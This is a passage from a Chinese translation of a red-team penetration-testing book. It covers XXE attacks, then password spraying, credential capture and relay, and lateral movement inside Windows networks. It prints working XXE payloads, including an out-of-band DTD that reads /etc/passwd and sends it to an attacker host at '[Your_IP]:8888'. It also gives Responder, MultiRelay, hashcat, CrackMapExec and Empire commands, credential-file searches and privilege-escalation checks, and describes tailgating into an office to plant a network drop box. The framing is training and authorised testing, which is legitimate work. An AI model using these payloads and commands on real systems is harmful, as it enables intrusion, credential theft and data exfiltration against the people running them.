由于自定义配置请求,有一个不同的 VMWare 虚拟机用于 XXE 攻击。这可以在这里找到:
http://thehackerplaybook.com/get.php?type=XXE-vm
下载后,在 VMWare 中打开虚拟机并启动它。在登录屏幕上,你无需登录,但你应该看到系统的 IP 地址。
转到浏览器:
通过 Burp Suite 代理所有流量
转到 URL:http://[IP of your Virtual Machine]
拦截流量并点击 Hack the XML
如果在加载页面后查看页面的 HTML 源代码,你可以看到有一个通过 POST 请求提交的隐藏字段。XML 内容如下所
示:
在这个例子中,我们指定它是 XML 1.0版本,DOCTYPE,指定根元素是 thp, !ELEMENT 指定任何类型,并且
!ENTITY 将 book 变量设置为“Universe”字符串。最后,在我们的 XML 输出中,我们希望从解析 XML 文件中打印
出我们的实体。
这通常是你在发送 XML 数据的应用程序中看到的内容。由于我们控制具有 XML 请求的 POST 数据,因此我们可以尝
试注入我们自己的恶意实体。默认情况下,大多数 XML 解析库都支持 SYSTEM 关键字,该关键字允许从 URI 读取数
据(包括使用 file:// 协议 )。因此,我们可以创建自己的实体来制作在 /etc/passwd 上读取的文件。
<?xml version ="1.0"?>
<!DOCTYPE thp [
<!ELEMENT thp ANY>
<!ENTITY book "Universe">
]>
<thp> Hack The &book;</thp>
原始 XML 文件
恶意 XML 文件
<?xml version="1.0" ?>
<?xml version="1.0"?>
<!DOCTYPE thp [
<!DOCTYPE thp [
<!ELEMENT thp ANY>
<!ELEMENT thp ANY>
<!ENTITY book "Universe">
<!ENTITY book SYSTEM "file:///etc/passwd">
]>
]>
<thp>Hack The & book;</thp>
<thp>Hack The &book;</thp>
XXE 实验——阅读文件:
拦截 [你的 VM 的 IP]/xxe.php 的流量包并点击 Hack of XML
将截获的流量包发送到 Repeater
将“data”的 POST 参数修改为以下内容:
]>Hack The %26book%3B
请注意, %26 等同于 & , %3B 等同于 ; 。我们需要对&符号和分号字符进行百分比编码。
发送流量包,我们现在应该能够读取 /etc/passwd
高级 XXE——XXE-OOB
在之前的攻击中,我们能够在 <thp> 标签中获得返回的响应。那么如果我们看不到响应或遇到字符或文件限制怎么
办?我们怎样使用带外数据协议(OOB)来发送我们的数据?我们可以提供远程文档类型定义(DTD)文件来执行
OOB-XXE,而不是在请求 payload 中定义我们的攻击。DTD 是结构良好的 XML 文件,用于定义 XML 文档的结构和
法律元素及属性。为了简单起见,我们的 DTD 将包含我们所有的攻击或 exfil payload,这将帮助我们解决许多字符
的限制。在我们的实验示例中,我们将使有 XXE 漏洞的服务器请求一个托管在远程服务器上的 DTD。
新的 XXE 攻击将分四个阶段进行:
1. 使用篡改后的 XXE XML 攻击
2. 对于存在漏洞的 XML 解析器,它会从攻击者服务器抓取一个 DTD 文件
3. 该 DTD 文件包含读取 /etc/passwd 文件的代码
4. 该 DTD文件也包含用于隐秘传输 /etc/passwd 内容的代码(可能是经过编码的)
设置我们的攻击者机器和 XXE-OOB payload:
我们将指定一个外部 DTD 文件,而不是原始文件读取
<!ENTITY % dtd SYSTEM "http://[Your_IP]/payload.dtd"> %dtd;
新的“数据”POST payload 将如下所示(记得更改 [Your_IP]):
<?xml version="1.0"?><!DOCTYPE thp [<!ELEMENT thp ANY ><!ENTITY % dtd SYSTEM
"http://[Your_IP]/payload.dtd"> %dtd;]><thp><error>%26send%3B</error></thp>
我们需要通过创建名为 payload.dtd 的文件在攻击者服务器上托管此 payload
gedit /var/www/html/payload.dtd
<!ENTITY % file SYSTEM "file:///etc/passwd">
<!ENTITY % all "<!ENTITY send SYSTEM 'http://[Your_IP]:8888/collect=%file;'>">
%all;
你刚刚创建的 DTD 文件指示易受攻击的服务器读取 /etc/ passwd 然后尝试使用我们的敏感数据向我们的攻
击者机器发出 Web 请求。为了确保我们收到响应,我们需要启动 Web 服务器来托管 DTD 文件并设置 NetCat
监听器
nc -l -p 8888
你将遇到“检测到实体引用循环”类型的错误,具体的报错内容大概是:“Detected an entity reference loop in
<b>/var/www/html/xxe.php on line <b>20"。在进行 XXE 攻击时,通常会遇到解析器错误。很多时候,XXE
解析器仅仅允许某些字符,因此读取带有特殊字符的文件会报错。我们可以做些什么来解决这个问题?在使用
PHP 的情况下,我们可以使用 PHP 输入和输出流( http://php.net/manual/en/wrappers.php.php )来读取
本地文件,并使用 php://filter/read=convert.base64-encode 对它们进行 base64 编码。让我们重启我们
的 NetCat 监听器并更改我们的 payload.dtd 文件以使用此功能:
<!ENTITY % file SYSTEM "php://filter/read=convert.base64-
encode/resource=file:///etc/passwd">
<!ENTITY % all "<!ENTITY send SYSTEM 'http://[Your_IP]:8888/collect=%file;'>">
%all;
一旦我们重放我们新修改的请求,我们现在就可以看到我们的受害者服务器首先获取并运行了 payload.dtd 文件,然
后监听8888端口的 NetCat 处理程序发出二次 Web 请求。当然,GET 请求将采用 base64编码并且我们也将必须对
请求进行解码。
更多 XXE payload:
https://gist.github.com/staaldraad/01415b990939494879b4
https://github.com/danielmiessler/SecLists/blob/master/Fuzzing/XXE-Fuzzing.txt
本章总结
虽然这只是你可能遇到的所有不同网络攻击的一小部分,但我希望这些案例能打开你的视野,关于更现代的框架
(Node.js)是如何引入旧的和新的攻击。许多常见的应用程序漏洞扫描器往往会错过很多这些更复杂的漏洞,因为
它们是基于特定的语言或框架的。我想提出的要点是,为了进行充分的攻击活动,你需要真正理解语言和框架。
第4章 带球——开始攻击网络
译者:@Snowming
校对者:@鶇、@leitbogioro、@哈姆太郎、@匿名jack
在进行风险评估项目的第二天,你使用 nmap 扫描了目标的全部网段,还启动了漏洞扫描器,但运气不太好,你没
有探测出任何 Web 应用程序的初始入口点。这让你感到有些失败,需要反思一下,重新回顾一下之前收集到的所有
信息。因为你知道,一旦可以进入目标网络,就可以使用无数的技巧来获得更多的凭证、在域中漫游、利用 AD(活
动目录)的特性,最后找到我们要找的东西。当然,这不是一件容易的事。因为你要绕过众多防火墙,还要欺骗管理
员,最后还要擦除自己的痕迹。
在上一本书中,本部分着重于使用漏洞扫描器来发现漏洞并利用它们。这是通过使用诸如 Metasploit、打印机漏
洞、心脏滴血、Shellshock、SQL 注入等常见漏洞的利用工具来实现的。最近一段时间,爆出了很多严重的远程代码
执行漏洞,比如 永恒之蓝(MS017-10)、多个版本的 Jenkins 漏洞、Apache Struts 2、CMS 应用的代码执行漏洞
等等。因为本书是以红队的视角来阐述的,因此我们不会过多地关注如何使用这些工具来攻击利用特定的漏洞。相
反,我们将关注如何利用公司现有的应用程序,就地取材来发现漏洞,然后攻破公司网络。
在本章中,将集中讨论红队的战术,如何利用公司基础设施、获取身份凭证、探索内部网络以及在主机和网络之间进
行漫游。我们将在不运行任何一个漏洞扫描器的前提下完成这项工作。
从外网寻找侵入对方系统的登陆凭证
作为一个红队成员,找到最初的攻击点可能很麻烦,需要耗费大量的资源。在上本书中,我们尝试过伪造受害者的身
份验证页面、购买非常相似的域名来对目标实施钓鱼,以及编写自定义的恶意软件等不同的方法。
有时候,我告诉我的红队队员要保持简单的思想。很多时候,那些令人称赞的高级手段,反而不如一些简单低级的方
法管用,最简单的方法往往是最有效的。
最基本的技术之一就是暴力破解密码。但是,作为红队的一员,我们必须考虑如何巧妙地做到这一点。随着公司的发
展,公司使用了更多的应用程序和技术工具。对于攻击者来说,这无疑为他们拓宽了进攻的大门。当公司开始暴露在
互联网上时,我们看到公司需要对电子邮件(如 Office 365或 OWA)、通信工具(如 Lync、XMPP、WebEx)、协
作工具(如 JIRA、Slack、Hipchat、Huddle)和其他外部服务(如 Jenkins、CMS 站点、支持站点)进行身份验
证。这些就是我们的目标突破口。
我们试图攻击这些服务器和服务的原因是,我们需要寻找能对受害者的 LDAP 或 AD 这些基础设施进行身份验证的工
具。这可以通过 ADFS 方式、单点登录(SSO)方式或者直接使用 AD 域认证等不同的方式来完成。我们需要找到一
些可以利用的公共凭证,以便继续进行下一步的攻击。在信息收集阶段,我们发现并识别了大量的电子邮箱地址和用
户名帐号,我们将对这些获取到的信息进行一种叫“密码喷洒”(Password Spraying)的攻击。我们将针对所有不同
的应用程序,尝试猜测基本密码,正如我们在现实世界的 APT 活动中看到的那样( US-CERT 文章:http://bit.ly/2qy
B9rb )。
译者注:“密码喷洒攻击”(Password Spray Attack)并不等同于“密码爆破攻击”(Brute Force Attack)。事实
上,这两种攻击是相反的。
在密码爆破攻击中,黑客选择一个易受攻击的 ID 并一个接一个地输入密码,希望有一些密码可以让他们进入。
基本上,密码爆破是用多个密码尝试破解同一个 ID。而密码喷洒攻击,是用一个密码来尝试多个用户 ID,以便
至少有一个用户 ID 被泄露。对于密码喷洒攻击,黑客使用社交工程或其他网络钓鱼方法收集多个用户 ID。通
常情况下,至少有一个用户使用简单的密码,如12345678甚至是 p@ssw0rd。
在密码喷洒攻击中,黑客会为他或她收集的所有用户 ID 应用精心构造的密码。因此,密码喷洒攻击可以定义为
将相同的密码应用于组织中的多个用户帐户,目的是安全的对其中一个帐户进行未授权访问。
暴力破解的问题在于,在使用不同密码进行一定次数的尝试后,系统可能会被锁定。为了避免这种情况,产生
了收集用户 ID 并将可能的密码应用于它们的想法。使用密码喷洒攻击时,黑客也会采取一些预防措施。例如,
如果他们尝试将 password1应用于所有用户帐户,则在完成第一轮后,他们不会立即开始将 password2应用
于这些帐户。他们将在黑客攻击中留出至少30分钟的时间。
参考资料:Password Spray Attack Definition and Defending yourself
那么,为什么要针对不同的外部服务进行身份验证呢?这是因为:
有些身份验证程序不会记录从外部服务尝试验证的次数。
虽然我们通常看到电子邮件或 VPN 系统要求双因素验证(2FA),但面向外部的即时通讯系统可能不需要。
密码重用的可能性非常高。
有的时候,当使用 AD 账户多次重复登录失败时,外部系统并不会将此账户锁定。
有很多工具可以实现密码喷洒攻击,但是,我们只关注其中的几个。第一个是来自 Spiderlabs 的名为 Spray 的工
具。尽管 Spray 使用起来有点复杂,但我非常喜欢它所支持的一些服务。例如,它支持 SMB、OWA 和
Lync(Microsoft Chat)。
要使用 Spray,你需要指定以下几个参数:
正如你将在下面的示例中看到的那样,我们使用 Spray 对 cyberspacekittens 上的一个 OWA 邮件服务器(该服务器
现在已经下线了)进行密码破解,当它使用密码 Spring2018与用户名 peter 尝试进行配对时,成功的登进了系统。
我经常遇到的一个问题是,应该使用哪个密码进行尝试?因为在锁定帐号之前,只能不停的多次尝试密码。事实上这
个问题没有正确答案,使用哪个密码非常依赖于这家公司的密码设置规定。我们过去可以使用一些简单密码进行尝
试,比如“Password123”,因为总有一些人会因为图方便而使用简单密码。但随着人们安全意识的提高,现在现在越
来越少人使用这种密码了,因而成功率也就变低了。现在的话,我们一般结合使用以下规则的一条到多条来构建我们
的尝试密码:
月份和年份的数字组合。
当地的球队和球员的数字编号组合。
查看一些以前泄露出来的数据,找一些有没有目标公司的用户资料泄露,因为相同公司的用户可能会使用类似
的密码。
spray.sh -owa <targetIP> <usernameList> <passwordList> <AttemptsPerLockoutPeriod>
<LockoutPeriodInMinutes> <Domain>
公司名称+年份/编号/特殊的字符 (如!,$,#,@)
编好了密码之后,我们就可以24小时不间断缓慢地运行我们的账号破解程序,慢是为了避免触发任何帐号锁定。请记
住,我们仅仅匹配成功一个账号就可以进入大门了!
此图是使用 Curl 对 OWA 进行身份认证的快速脚本
配置 Spray 非常简单,而且其配置文件可以很容易地给其他类似程序参考使用。你需要做的是捕获登录密码时的
POST 请求(可以在 Burp Suite 中完成),复制所有请求数据,并将其保存到文件中。对于任何将要被破解的字段,
你需要提供字符串“sprayuser”和“spraypassword”。
例如,在我们的例子中, post-request.txt 文件如下所示:
POST /owa/auth.owa HTTP/1.1
Host: mail.cyberspacekittens.com
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:52.0) Gecko/20100101 Firefox/52.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: https://mail.cyberspacekittens.com/owa/auth/logon.aspx?
replaceCurrent=1&url=https%3a%2f%2fmail.cyberspacekittens.com%2fowa%2f
Cookie: ClientId=VCSJKT0FKWJDYJZIXQ; PrivateComputer=true; PBack=0
Connection: close
Upgrade-Insecure-Requests: 1
Content-Type: application/x-www-form-urlencoded
Content-Length: 131
destination=https%3A%2F%2Fcyberspacekittens.com%2Fowa%2F&flags=4&forcedownlevel=0
译者注:最后一个 destination 字段的内容本书的英文版本貌似显示不全,至少是我拿到的英文版本 PDF 显
示不全。我只是简单的复制自 PDF,读者注意一下。
如前所述,spray.sh 的另一个好处是它还支持 SMB 和 Lync。另一种具备这个特性的工具称为 Ruler,这个工具还可
以对密码喷洒攻击得到的结果进行进一步处理。Ruler 是 Sensepost 安全团队编写的一个工具,它允许你通过
MAPI/HTTP 或 RPC/HTTP 协议与 Exchange 服务器交互。虽然我们主要讨论使用 Ruler 来进行密码破解/信息收集,
但是这个工具也支持一些持久性漏洞利用攻击,我们将略微提及这点。
我们可以用的 Ruler 的第一个功能类似于 Spray,它通过对用户名和密码进行匹配来进行账号的破解。Ruler 将载入
用户名列表和密码,并尝试查找登陆凭证。它将自动寻找 Exchange 服务器的关键配置并尝试查找登陆凭证。
运行 Ruler:
ruler --domain cyberspacekittens.com brute --users ./users.txt --passwords ./passwords.txt
一旦我们找到了一个密码,我们就可以使用 Ruler 来获取 Office 365的全局地址列表(GAL)中的所有用户,以查找
更多的电子邮件地址及其所属的电子邮件组。
我们继续将获取的这些电子邮件地址通过上面提及的那些密码破解工具来进行破解的尝试,从而获得更多的身份凭证
——这就和滚雪球一样。不过,Ruler 的主要用途是,一旦你有了身份凭证,你就可以利用 Office/Outlook 的一些功
能来在受害者的电子邮件帐户上创建规则和表单。这里有一篇来自 SensePost 安全团队的文章 outlook-forms-
shells,介绍了他们是怎样利用这些功能来执行包含 Empire payload 的宏文件的。
如果你决定不使用 Outlook 表单,或者该功能已经被禁用,我们的思路还可以回到对电子邮件的攻击。这可能会让
你感到有点邪恶,因为你将使用这些普通用户的账号登录并阅读他们的所有电子邮件。当我们兴奋的阅读某个用户的
电子邮件时,我们会想要和某个他似乎有点信任(但又不算好朋友)的人进行对话。既然已经有了信任的基础,我们
就可以利用这个机会给他发送恶意软件。通常,我们会篡改一次会话,在里面夹带附件(如 Office 文件/可执行文
件),然后重新发给他们,不过这次附件包含了我们的恶意 payload。在受信任的内网连接和电子邮件之中传递恶意
软件,成功掩护了我们的身份,并使这次行动获得成功。
本书始终强调的一点是,整个攻击行动的目的是为了测试蓝队的威胁检测工具和应急响应流程的效率。我们行动的目
标非常明确,就是观察他们是否能够有所警觉。又或者像法医解剖那样,仔细复盘行动中发生的一切。对于本节的实
验设计,我的想法是验证公司是否能够确定有人正在窃取用户们的电子邮件。所以,我们要做的是使用 Python 脚本
来获取所有被破坏的电子邮件。在许多情况下,这可能是千兆字节的数据!
高级选修实验
一个很好的练习是:攻击不同类型的的身份验证服务并对其进行密码尝试。尝试构建一个密码喷洒(Password
Spraying)工具,用于测试针对 XMPP 服务、常见第三方 SaaS 工具和其他常见协议的身份验证。最好是在多个 VPS
服务器中执行此操作,所有 VPS 服务器都由一个主服务器控制。
通过网络移动
作为一名红队成员,我们希望尽可能安静地在网络中穿梭。我们希望使用“特征”来查找和利用有关网络、用户、服务
等信息。通常,在红队活动中,我们不希望在内网环境中进行任何漏洞扫描相关的活动。有时我们甚至不希望对内部
网络运行 nmap 扫描。这是因为许多公司已经非常擅长检测这些类型的扫描,特别是在运行漏洞扫描器这样动静很
大的东西时。
在本节中,你将集中精力在不触发任何检测防护的情况下在 CSK 的网络进行横向漫游。我们假设你已经以某种方式
进入内部网络并开始寻找你的第一组凭证,或者已经拥有了一个用户机器上的 shell。
建立环境——实验网络
这部分完全是自定义的,但由于微软的授权限制,这本书里没法给你已经制作好的的基于 Windows 的实验环境部署
环境。所以至于怎么做,就得看你的动手能力了!
真正学会如何攻击目标环境的唯一方法是自己亲手构建一下目标环境。这能使你更清楚地了解你正在攻击什么,为什
么攻击有时候有效,有时候无效,并了解某些特定工具或流程的局限性。那么你需要建立什么样的实验环境呢?基于
客户端的环境,Windows 和 Linux(甚至 Mac)可能都需要一个。如果你正在攻击企业网络,你可能需要构建一个
完整的 Active Directory 网络(域环境)。在下面的实验中,我们将学习如何为本书中的所有例子构建一个测试环
境。
一个理想的 Windows 测试实验环境,你可以自己创建,大概是下面这样的:
域控制器-服务器:[Windows 2016域控制器]
Web服务器:[IIS on Windows 2016]
客户端机器:[Windows 10]x3和 [Windows 7]x2
全部运行着 VMWare 的工作站中,工作站的内存至少16GB,SSD 硬盘500GB
配置和创建域控制器:
微软关于构建2016版服务器的说明:
https://blogs.technet.microsoft.com/canitpro/2017/02/22/step-by-step-setting-up-active-directory-in
-windows-server-2016/
短地址:http://bit.ly/2JN8E19
安装和配置 Active Directory 之后,使用:dsac.exe 创建用户和组
创建多个用户
创建组并分配给用户(下面是分组):
Space
Helpdesk
Lab
设置客户端机器(Windows 7/10)加入域:
将所有机器都打好系统补丁
将机器连接到域
https://helpdeskgeek.com/how-to/windows-join-domain/
确保添加一个域用户,该用户能够作为本地管理员在每个系统上运行。这可以通过将该域用户添加到本地机器
上的本地 administrators 组来实现。
在每个主机上启用本地管理员并设置密码
将 GPO(组策略)设置为:
禁用防火墙 ( https://www.youtube.com/watch?v=vxXLJSbx1SI )
禁用 AV( http://bit.ly/2EL0uTd )
禁用系统自动更新
将 Helpdesk 用户组添加到本地管理员组
仅允许域管理员、本地管理员、Helpdesk 登录( http://bit.ly/2qyJs5D )
最后,将 GPO 设置同步到主域
将每个操作系统的所有用户设置为自动登录(这会使得攻击测试更加容易)。每次机器启动或重新启动时,它都会自
动登录,这样我们就可以轻松地进行攻击并从内存中提取凭证:
https://support.microsoft.com/en-us/help/324737/how-to-turn-on-automatic-logon-in-windows
短地址:http://bit.ly/2EKatIk
设置 IIS 服务器并配置 SPN:
https://www.rootusers.com/how-to-install-iis-in-windows-server-2016/
短地址:http://bit.ly/2JJQvRK
https://support.microsoft.com/en-us/help/929650/how-to-use-spns-when-you-configure-web-application
s-that-are-hosted-on
短地址:http://bit.ly/2IXZygL
在内网中没有凭据
假设你无法通过探测外部服务获得任何密码,因此决定潜入大楼内部。你等到午饭后,潜入 Cyber Space Kittens 的
办公室,找到吸烟室。即使你不抽烟,但你也知道抽烟的人有结伙心理。你点上一支烟,但是可以不和他们说话,但
当他们走进他们的大楼时,你就可以跟着他们一起进去,轻松极了!
既然你已经闯入了 CSK 的内部环境,你可不想在那里呆太久被抓住。你拿出你非常信任的 drop box,找到一间空办
公室,把它插上网络,检查你的手机,看看它是否正确传回了 beacon 到了你的家中,确认之后迅速逃回安全的地
方。
当你汗流浃背地回到家时候,迅速地找到你的笔记本电脑,登陆你的 VPN 服务器,当你看到那个 beacon 还在连接
家里的时候,你就可以松一口气了。现在你可以现在用 SSH 连接 beacon,可以慢慢地去拓展受感染主机的内部网
络,在多个主机之间移动,并尝试拿到你所关心的数据。
Responder
就像在上一个活动中一样,我们使用 Responder 在网络上侦听并伪造请求以获得网络上的凭据。回顾一下上本书,
当网络上的系统执行查找 DNS 主机名失败时,受害者系统就会使用 Link-Local Multicast Name Resolution(简称
LLMNR)和 Net-BIOS Name Service(NBT-NS)进行回退 DNS 名称解析。当受害者的电脑无法进行 DNS 查找时,
他就会开始询问网络上的任何人是否知道该主机名的解析方法。
一个简单而通用的例子:假设你电脑里有一个固定的共享硬盘驱动器目录,为:
\cyberspacekittenssecretdrive\secrets。有一天,IT 部门从网络中删除了共享驱动器,它就不存在了。但由于名为
cyberspacekittenssecretdrive 的服务器仍然有一个挂载的驱动器,因此系统将不断询问网络是否有人知道此驱动器
并回应它的 IP。虽然现在这种文件共享示例可能很少见,但是,由于以前连接的系统很可能不再存在于网络上,所以
这个问题仍然会发生。我们已经从已挂载的驱动器、具有硬编码服务器的应用程序以及许多次的错误配置中看到了这
一点。
我们可以使用像 Responder 这样的工具来利用那些寻找有主机名的系统,并使用我们的攻击服务器对其进行响应。
更好的是,Responder 可以更进一步,充当 WPAD(Web Proxy Auto-Discovery Protocol,Web 代理自动发现协
议)服务器,通过我们的攻击者服务器代理所有数据,但这是另一种攻击了。
cd /opt/Responder
./Responder.py -I eth0 –wrf
现在,因为我们处于 Windows 的企业环境中,我们可以假设它很可能正在运行 Active Directory(活动目录)。因
此,如果我们能够响应来自受害者主机的 DNS 查找请求,我们就可以使他们的系统连接到我们的 SMB 共享服务。
由于它们正在连接到 \cyberspacekittenssecretdrive 驱动器,因此我们将强制受害者使用他的 NTLMv2 凭证(或缓
存的凭证)进行身份验证。我们捕获的这些凭证不是直接的 NTLM 哈希,而是 NTLM 请求/响应哈希(NTLMv2-
SSP)。这些哈希表的唯一缺点是,破解它们的速度要比普通的 NTLM 哈希表要慢得多,但是相比于我们要进行的大
型凭证爆破动作来说,这不是一个大麻烦。
我们可以获取 NTLMv2哈希,将其传递给本地的 hashcat 程序破解此密码。在 hashcat 中,我们需要指定散列格式
“-m”( https://hashcat.net/wiki/doku.php?id=example_hashes )为 Net-NTLMv2 。
hashcat -m 5600 hashes\ntlmssp_hashes.txt passwordlists/*
现在,假设我们并不是真的想破解哈希,或者我们不介意提醒用户有一些值得可疑的地方。我们所能做的是强制一个
基本身份验证弹出窗口,而不是采用 -F (ForceWpadAuth)和 -b (basic auth)的要求使用 Net-NTLMv2凭据。
python ./Responder.py -I eth0 -wfFbv
从上面的图像中可以看到,用户将被提示输入用户名和密码,大多数人只是按部就班的按提示输入。一旦他们提交了
他们的用户名和密码,我们将能够捕获他们的密码明文!
更好的 Responder(MultiRelay.py)
使用 Responder 和破解 NTLMv2-SSP 哈希的问题是,破解这些哈希所需的时间可能很长。更糟糕的是,我们所处的
环境中的管理员的密码可能是20多个的字符。那么,在这些情况下我们能做什么呢?如果所处环境不强制执行 SMB
签名( 我们可以通过快速的 nmap 脚本扫描找到 - https://nmap.org/nsedoc/scripts/smb-security-mode.html
),我们可以使用一个巧妙的小技巧来重新播放捕获的 SMB 请求。
Laurent Gaffie 在 Responder 中加入了一个处理身份验证重放攻击的工具。根据 Laurent 的网站描述,MultiRelay
是一个强大的渗透测试实用程序,包含在响应程序工具的文件夹中,使你能够在选定的目标上执行目标 NTLMv1 和
NTLMv2 中继器。目前已经实现多中继将 HTTP、WebDav、代理和 SMB 身份验证传递给 SMB 服务器。这个工具可
以定制为接受一系列用户账户信息来中继到一个目标。这背后的概念是只针对域管理员、本地管理员或特权帐
户。”[http://g-laurent.blogspot.com/2016/10/introducing-responder-multiray-10.html]
从较高的层面来看,MultiRelay 不会强制受害者对我们的 SMB 共享进行身份验证,而是将任何含有身份验证的请求
转发给我们选择的受害者主机。当然,中继用户需要有另一台机器的访问权限;如果攻击成功,我们不需要处理任何
密码和哈希破解。首先,我们需要配置我们的 Responder 和 MultiRelay:
编辑 Responder 配置文件以禁用 SMB 和 HTTP 服务器
编辑 Responder.conf
将 SMB 和 HTTP 更改为 Off
开始 Responder
python ./Responder.py -I eth0 -rv
在一个新的终端窗口中启动多中继
/opt/Responder/tools
./MultiRelay.py -t -c -u ALL
一旦可以实现通过中继连接到受害者主机,我们就需要考虑要在受害者的主机上执行什么操作。默认情况下,
MultiRelay 可以生成一个比较基础的 shell,但我们也可以自动执行 Meterpreter PowerShell payloads、Empire
PowerShell payloads、dnscat2 PowerShell payloads、PowerShell 脚本(用于下载和执行 C2代理)、Mimikatz,
或者只是运行 calc.exe 作为测试娱乐。
参考文献
http://threat.tevora.com/quick-tip-skip-cracking-responder-hashes-and-replay-them/
PowerShell Responder
一旦我们攻击进了 Windows 系统,我们就可以在受害者机器上使用 PowerShell 进行 Responder 攻击。原始
Responder 的两个功能都可以通过以下两个工具执行:
Inveigh - https://github.com/Kevin-Robertson/Inveigh/blob/master/Inveigh.ps1
Inveigh-Relay
更简单的是,这一切都已经集成在 Empire 中了。
没有凭据的用户枚举
一旦进入了内网中,我们可以使用 Responder 来获得凭证或 shell,但有时也会发现同时启用 SMB 签名和破解
NTLMv2 SSP 是没有实质进展的。那就是我们退一步,从更基础的开始。在不主动扫描网络的情况下,我们需要获得
一个用户列表(可能是用于密码爆破,甚至是内网钓鱼)。
一种选择是开始针对域控制器枚举用户。如果是早些时候(回到2003年),我们可以尝试执行 RID 循环来获得所有
用户帐户的列表。虽然现在不可用了,但爆破帐户还有其他选择。一种选择就是利用 Kerberos:
nmap -p88 --script krb5-enum-users --script-args krb5-enum-
users.realm=“cyberspacekittens.local”,userdb=/opt/userlist.txt
我们将需要提供一个要测试的用户名列表,但是由于我们只是查询 DC(域控制器)而没有对其进行身份验证,因此
通常此行动不会被检测。现在,我们可以采用这些用户帐户,并再次开始密码猜解!
使用 CrackMapExec(CME)扫描网络
如果我们还没有成功入侵进一个系统,但是我们确实通过 Responder、错误配置的 Web 应用程序、暴力破解或通过
打印机获得了登录凭证,那么我们可以尝试扫描网络,看看这个帐户可以登录到哪里。使用像
CrackMapExec(CME)这样的工具进行简单的扫描可以帮助找到内部网络上的初始入口点。
过去,我们使用 CME 扫描网络、通过网络上的 SMB 进行标识/身份验证、对许多主机远程执行命令,甚至通过
Mimikatz 提取明文凭证。Empire 和 CME 都拥有了一些新特性,我们可以利用 Empire 的 REST 特性。在下面的场
景中,我们将使用其 REST API 启动 Empire,在 CME 中配置密码,让 CME 连接到 Empire,使用我们拥有的单一凭
证扫描网络,最后,如果成功完成身份验证,则自动将 Empire 的 payload 推送到远程受害者的系统。如果你有一个
helpdesk 或高权限帐户,那就准备好加载 Empire shell 吧!
启动 Empire 的 REST API 服务器
cd /opt/Empire
./empire --rest --password ‘hacktheuniverse’
更改 CrackMapExec 密码
打开 /root/.cme/cme.conf
password=hacktheuniverse
运行 CME 来生成 Empire shells
cme smb 10.100.100.0/24 -d ‘cyberspacekittens.local’ -u ‘’ -p ‘’ -M empire_exec -o LISTENER=http
在攻陷你的第一台机器之后
当你通过社会工程、drop box、Responder、攻击打印机或通过其他攻击获得对主机的访问权限后,下一步要做什
么?这是一个非常重要的问题。
在过去,你需要做的一切,是了解你身在何处和周边的网络环境。我们可能首先运行类似于“netstat -ano”的命令来
查找受害者的服务器、域和用户的 IP 范围的位置。我们还可以运行命令,如 ps 或 sc queryex type= service
state= all | find “_NAME” 列出所有正在运行的服务,并寻找杀毒软件或其他主机基础保护。下面是一些我们最
初可能运行的其他示例命令:
网络信息:
netstat -anop | findstr LISTEN
net group “Domain Admins” /domain
流程列表:
tasklist /v
系统主机信息:
sysinfo
Get-WmiObject -class win32 operatingsystem | select -property * | exportcsv c:\temp\os.txt
wmic qfe get Caption,Description,HotFixID,InstalledOn
简单的文件搜索:
dir /s password
findstr /s /n /i /p foo *
findstr /si pass *.txt | *.xml | *.ini
来自共享/挂载驱动器的信息:
powershell -Command “get-WmiObject -class Win32_Share”
powershell -Command “get-PSDrive”
powershell -Command “Get-WmiObject -Class Win32_MappedLogicalDisk | select Name,
ProviderName”
让我们现实一点,没有人有时间记住所有的命令,但是我们很幸运!我相信,我相信我们可以在一个名为 RTFM.py
的工具中轻松搜索到这些命令,这是 @leostat 基于 RTFM 书籍(很棒的资源)创建的一个快速查询的 Python 脚本,其
中包含大量这些方便的命令。
更新并运行 RTFM
cd /opt/rtfm
chmod +x rtfm.py
./rtfm.py -u
./rtfm.py -c ‘rtfm’
搜索所有标签
./rtfm.py -Dt
查看每个标记的所有查询/命令。我喜欢用的一个是枚举类
./rtfm.py -t enumeration | more
现在,RTFM 非常广泛,有许多不同的有用命令。这是一个不断快速更新的优秀的资源。
这些都是我们为了获取信息而一直在做的事情,但是如果我们能从环境中获得更多呢?使用 PowerShell,我们可以
获得所需的网络和环境信息。任何支持 C2 的工具都能轻松执行 PowerShell ,因此可以使用 Empire、Metasploit 或
Cobalt Strike 来执行这些操作。在下面的例子中,我们将使用 Empire ,你也可以尝试其他工具。
权限提升
从普通用户到高权限帐户有很多不同的方式。
未被引用服务路径:
这是一个相当简单和常见的漏洞,其中服务可执行路径没有被引号括起来。这是很容易被利用的,因为如果路
径周围没有引号,我们就会利用当前服务。假设我们有一个服务被配置为执行 C:\Program Files (x86)\Cyber
Kittens\Cyber Kittens.exe。如果我们有 CK 文件夹的写入权限,我们可以将其替换为 C:\Program Files
(x86)\Cyber Kittens\Cyber.exe(注意,原名称中的 Kittens.exe 消失了)的恶意软件。如果服务在系统上运
行,我们可以等到服务重新启动,并让我们的恶意软件作为一个 system 帐户运行。
如何找到易受攻击的服务路径:
通过 wmic 服务获取名称、注意 displayname、pathname、startmode |findstr /i "Auto" |findstr /i /v
"C:\Windows" | findstr /i /v """
寻找 BINARY_PATH_NAME
查找服务中存在的不安全的注册表权限:
识别允许更新服务映像路径位置的弱权限账户
检查 AlwaysInstallElevated 注册表项是否已启用:
检查 AlwaysInstallElevated 注册表项,该注册表项指示.msi 文件应以较高的权限 ( NT AUTHORITY\SYSTEM )
安装
https://github.com/rapid7/metasploit-framework/blob/master/modules/exploits/windows/local/always_i
nstall_elevated.rb
请注意,我们并不需要手动完成这些操作,因为别人已经创建了一些好的 metasploit 和 PowerShell 模块,特别是针
对 Windows 的模块。在下面的示例中,我们将查看 PowerUp PowerShell 脚本。在这种情况下,脚本与 Empire 一
起在所有常见的错误配置区域运行查找,比如允许普通用户获得本地管理或系统帐户。在下面的示例中,我们在受害
者系统上运行这个程序,发现它有一些本地系统的未引用服务路径。现在,我们可能无法重新启动服务,但我们应该
能够利用这个漏洞,等待服务重启。
Empire PowerUp 模块:
usermodule privesc/powerup/allchecks
最突出的是:
ServiceName: WavesSysSvc
Path: C:\Program Files\Waves\MaxxAudio\WavesSysSvc64.exe
ModifiableFile: C:\Program Files\Waves\MaxxAudio\WavesSysSvc64.exe
ModifiableFilePermissions: {WriteOwner, Delete, WriteAttributes, Synchronize…}
ModifiableFileIdentityReference: Everyone
